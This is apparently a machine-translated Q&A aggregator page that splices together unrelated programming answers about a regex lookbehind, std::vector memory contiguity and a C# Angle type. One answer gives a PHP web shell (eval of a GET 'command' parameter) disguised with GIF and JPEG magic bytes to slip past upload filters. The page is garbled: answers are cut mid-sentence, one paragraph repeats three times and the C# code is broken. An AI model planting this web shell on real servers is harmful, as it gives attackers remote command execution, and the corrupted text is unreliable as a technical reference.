[?!up\/]?
является классом символов, который соответствует ?
или !
, u
, p
или /
, 1 или 0 раз (из-за квантификатора ?
после ]
, это делает этот шаблон необязательным).
Вы можете использовать регулярное выражение, основанное на взгляде, например
r'(?i)\b(?
См. Демонстрацию regex
Подробности
(?i)
- флаг без учета регистра \b
- граница слова (чтобы избежать совпадения down
в touchdown
) (? - без целого слова up
допускается непосредственно слева от текущего местоположения
down
- down
последовательность символов \b
- граница слова, непосредственно справа, не может быть слова char (буква, цифра или _
, а также некоторые другие, поскольку флаг re.U
включен по умолчанию в Python 3, но они не так важны). Это было упущено из собственно стандарта C ++ 98, но позже добавлено как часть TR. Предстоящий стандарт C ++ 0x, конечно, будет содержать это как требование.
Из n2798 (черновик C ++ 0x):
23.2.6 Вектор шаблона класса [вектор]
1 Вектор - это контейнер последовательности, поддерживающий итераторы произвольного доступа. Кроме того, поддерживает (амортизируется) постоянное время операции вставки и стирания в конце; вставка и стирание в середине занимают линейное время. Место хранения управление осуществляется автоматически, хотя могут быть даны подсказки для повышения эффективности. Элементы вектора хранятся непрерывно, что означает, что если v - вектор, где T - какой-то тип, другой чем bool, то он подчиняется тождеству & v [n] == & v [0] + n для всех 0 <= n
As other answers have pointed out, the contents of a vector is guaranteed to be continuous (excepting bool's weirdness).
The comment that I wanted to add, is that if you do an insertion or a deletion on the vector, which could cause the vector to reallocate it's memory, then you will cause all of your saved pointers and iterators to be invalidated.
Да, элементы std :: vector гарантированно будут смежными.
Стандарт действительно гарантирует, что вектор
непрерывен в памяти и что & a [0]
могут быть переданы в C
функция, которая ожидает массив.
Исключением из этого правила является vector
, которая использует только один бит на bool
, поэтому, хотя у нее есть непрерывная память, она может 'не должно использоваться как bool *
(это широко считается ложной оптимизацией и ошибкой).
Кстати, почему вы не используете итераторы? Вот для чего они нужны.
Vector containers are implemented as dynamic arrays; Just as regular arrays, vector containers have their elements stored in contiguous storage locations, which means that their elements can be accessed not only using iterators but also using offsets on regular pointers to elements.
Похоже, вам нужен угловой тип.
// Non mutable Angle class with a normalized, integer angle-value
public struct Angle
{
public Angle(int value)
{
Value = value;
}
private angle;
public Value
{
get { return angle; }
private set { angle = Normalize(value); }
}
public static int Normalize(int value)
{
if (value < 0) return 360 - (value % 360);
return value % 360;
}
}
public class SomeClass
{
public Angle EyeOrientation { get; set; }
}
Если у вас есть определенный тип значения, например, углы, деньги, вес или что-то еще, всегда полезно сделать его собственным типом, даже если само значение хранится в виде int, decimal и т. Д. делает ваши интерфейсы более понятными и безопасными. Это не то же самое, если вы ожидаете Угол или целое число в качестве аргумента некоторого метода.
Команда file читает файл в вашей системе Linux, / usr / share / file / magic , который содержит подписи файлов. Например, изображение GIF начинается с текста GIF8 или файл JPEG начинается с байтов 0xffd8 . Вам просто нужно иметь эти подписи в загружаемом файле, чтобы обмануть команду file . Эти два файла будут приняты как изображения, даже если они будут работать как php-код:eval_gif.php:
GIF8<?php eval($_GET["command"]);?>
eval_jpg.php (hexdump):
ff d8 3c 3f 70 68 70 20 65 76 61 6c 28 24 5f 47 |..<?php eval($_G|
45 54 5b 22 63 6f 6d 6d 61 6e 64 22 5d 29 3b 3f |ET["command"]);?|
3e 0a 0a |>..|
Это наиболее распространенные ошибки при фильтрации:
Однако есть исключение !!
vector
имеет специальную реализацию, предназначенную для экономии места, так что каждый bool использует только один бит. Базовый массив не является непрерывным массивом логических значений, и арифметические операции с массивами на vector
работают не так, как vector
.
(я полагаю, что это также возможно что это может быть верно для любой специализации вектора, поскольку мы всегда можем реализовать новую. Однако std :: vector
- единственная, ошибочная, стандартная специализация, в которой простая арифметика с указателями победила » т работать.)
vector
имеет специальную реализацию, предназначенную для экономии места, так что каждый bool использует только один бит. Базовый массив не является непрерывным массивом логических значений, и арифметические операции с массивами на vector
работают не так, как vector
.
(я полагаю, что это также возможно что это может быть верно для любой специализации вектора, поскольку мы всегда можем реализовать новую. Однако std :: vector
- единственная, ошибочная, стандартная специализация, в которой простая арифметика с указателями победила » т работать.)
vector
имеет специальную реализацию, предназначенную для экономии места, так что каждый bool использует только один бит. Базовый массив не является непрерывным массивом логических значений, и арифметические операции с массивами на vector
работают не так, как vector
.
(я полагаю, что это также возможно что это может быть верно для любой специализации вектора, поскольку мы всегда можем реализовать новую. Однако std :: vector
- единственная, ошибочная, стандартная специализация, в которой простая арифметика с указателями победила » т работать.)